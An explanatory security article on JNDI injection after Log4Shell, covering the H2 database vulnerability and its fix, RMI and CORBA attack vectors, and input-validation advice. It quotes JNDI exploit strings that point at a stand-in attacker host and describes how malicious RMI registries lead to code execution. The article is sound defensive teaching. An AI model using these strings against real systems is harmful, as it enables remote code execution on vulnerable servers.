The aftershocks of Log4Shell: RMI and beyond

At the end of 2021 there was a massive bang in the Java developer community: a serious vulnerability has been found in log4j, a common Java logging component, leading to the compromise of various applications and products that used it. We have done a deep dive on the vulnerability in a three-part article.

The vulnerability in Log4Shell and its exploitation wasn’t unique – or even particularly new. But now that a bit of time has passed and the dust has started to settle, security researchers are starting to find other ‘Log4Shell-like’ vulnerabilities all over the place.

In this article, we’ll look at the bigger picture and the broader implications of Log4Shell – or rather, the dangerous Java attack surfaces it has brought to light.

Same song, different artist

In the wake of Log4Shell, researchers started to pay a lot of attention to JNDI injection vulnerabilities in general. The most common use of JNDI is to manage database connections in Java EE application servers; it is also widely used for configuration management. Thus, it stands to reason that the next critical JNDI injection vulnerability to be discovered was in the (very popular) H2 database engine (CVE-2021-42392, CVSS 9.8). If you want more context on the vulnerability’s discovery and its practical exploitation, we recommend reading their detailed write-up – we’ll only be focusing on the code aspects here.

The vulnerable code of JdbcUtils.getConnection() within the org.h2.util package shows us (consider that url comes from the
attacker):

// …
} else if (javax.naming.Context.class.isAssignableFrom(d))
{
    // JNDI context
    Context context = (Context)d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource)context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

So basically, if the attacker can somehow get a malicious URL into this function, they can achieve code execution in exactly the same way as Log4Shell. The main attack vector was the login form of the web-based H2 console, which is accessible by default through http://localhost:8082/. While it should normally be only accessible locally, several third-party tools or frameworks expose it to remote clients as well. And what’s even worse is that the JNDI lookup happens before the user is authenticated.

RMI Log4j Log4Shell jndi

The fix was very simple – just like in case of log4j, they restricted JNDI lookups by applying a strict allowlist. Only strings starting with java: were accepted by adding the following check before instantiating the Context object:

// …
}
else if (javax.naming.Context.class.isAssignableFrom(d)) {
    if (!url.startsWith("java:")) {
        throw new SQLException("Only java scheme is supported for JNDI lookups", "08001");
    }
    // JNDI context
    Context context = (Context)d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource)context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

This fix eliminated the possibilities of RCE through URL manipulation.

It’s RCEs all the way down – to RMI and beyond

Let’s step away from LDAP for a moment and consider: if we can get our own string into a JNDI lookup, are there other ways to force RCE through what is basically a built-in SSRF? If we look at A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land by Muñoz and Mirosh from 2016, we’ll see two other possible attack vectors: Java Remote Method Invocation (RMI) via rmi:// URIs and the Common Object Request Broker Architecture (CORBA)’s IIOP protocol via iiop:// and iiopname:// URIs.

With respect to exploitation, RMI is quite similar to LDAP in that there is a RMI Registry (analogous to the LDAP server) that can be used to look up data about objects. Normally executing code from another machine is a security-critical question, thus RMI itself is protected by the Java Security Manager and arbitrary classes from a remote source won’t be loaded into the JVM. What is not protected, however, is the process of looking up an object in the RMI registry over JNDI! Essentially, an attacker could operate a malicious RMI registry and (as a response to a lookup) return a malicious javax.naming.Reference object with a classFactoryLocation attribute that contained a URL pointing to a the attacker’s server. In order to construct this Reference object, the target application would first need to fetch and load the remote factory object specified above as a .class file and then load it into the JVM. Since there were no type restrictions on such a factory object, the attacker could just create an Exploit class and store it on the attacker server. This Exploit class’s constructor could then do whatever the attacker wanted, achieving RCE as soon as it’s loaded. This was made a bit more difficult after Java 8u121 when the rmi.object.trustURLCodebase (false by default) setting was introduced, which prevented arbitrary remote factory objects from being instantiated. However, just like in Log4Shell, it was still possible to achieve RCE through a code reuse attack (using the Property Oriented Programming technique) with a few extra steps, making use of already existing object factories. It wouldn’t even be particularly difficult as long as the vulnerable application was running on the Tomcat application server (as many Java web apps do) by abusing the behavior of org.apache.naming.factory.BeanFactory and javax.el.ELProcessor, as explained by Michael Stepankin in this article.

Thus, if we remember the good old ${jndi:ldap://myevilserver.com:389/x} exploit string (and the attacker running a malicious LDAP server at myevilserver.com:389/x that’ll return a malicious serialized object), we could just as easily use ${jndi:rmi://myevilserver.com:1099/x} and operate an RMI registry at that address instead, returning a malicious object that extends javax.naming.Reference, and achieving RCE once again when the object is resolved! And sure enough, when security tools started to block the LDAP attack vector for Log4Shell, attackers switched to RMI exploits instead – as seen in the wild back in 2021. And even if we look away from JNDI for a moment, it is technically possible to achieve RCE through a standard SSRF vulnerability (that is, forcing the server to access a resource from a user-provided URL) targeting the RMI protocol, as demonstrated by Tobias Neitzel here. Of course, there are some prerequisites (the main one being the capability of the attacker to send arbitrary bytes via SSRF instead of just an ASCII string), but the consequences are potentially devastating.

And finally, let’s have a few words about CORBA. You may think that CORBA is not relevant anymore in 2022, but you’d be wrong – the iiop:// vector was used to attack the Oracle WebLogic server as recently as October 2021 (CVE-2021-35617). And that’s just one of over 35 IIOP-related Oracle WebLogic RCE vulnerabilities discovered in 2020 and 2021, most of them having a critical CVSS score of 9.8!

Open-source tools supporting JNDI injection exploitation through RMI as well as LDAP have also existed for years (JNDI-Injection-Exploit, recently updated as JNDI-Exploit-Kit), and the only reason they don’t support CORBA / IIOP is because… well… nobody uses CORBA anymore.

The end of the saga, for real this time (or is it?)

JNDI injection has been known and exploited for at least half a decade, and the root cause always goes back to the same question: is there any way for an attacker to force the JNDI lookup of an arbitrary string? And unfortunately, it looks like the answer is ‘yes’ in many cases, in many different types of software. In case of H2 it wasn’t even vulnerable by default (since the H2 console was supposed to only be accessible locally), but third-party software bundling H2 – such as JHipster – could configure the console to be externally accessible.

As a developer, you can deal with the problem at the source – literally. The core vulnerability is JNDI injection, and like other injection vulnerabilities, the key to dealing with it is to perform proper input validation. If you don’t need remote class lookup via RMI or LDAP (or maybe even CORBA), only allow java: URLs into your JNDI queries. And if you do need to use RMI or LDAP in JNDI, apply strict allowlist-based input validation on the input string before you put it into the lookup function to make sure the attacker can’t force your program to connect to a malicious LDAP server (or RMI registry, or anything else) and thus execute code during the lookup process.

Following secure coding best practices can prevent issues like Log4Shell. Learn more about input validation, injection, insecure deserialization, DoS attacks, and secure design best practices to make sure the next Log4Shell doesn’t pop up in your code! Check out our course catalog for more details.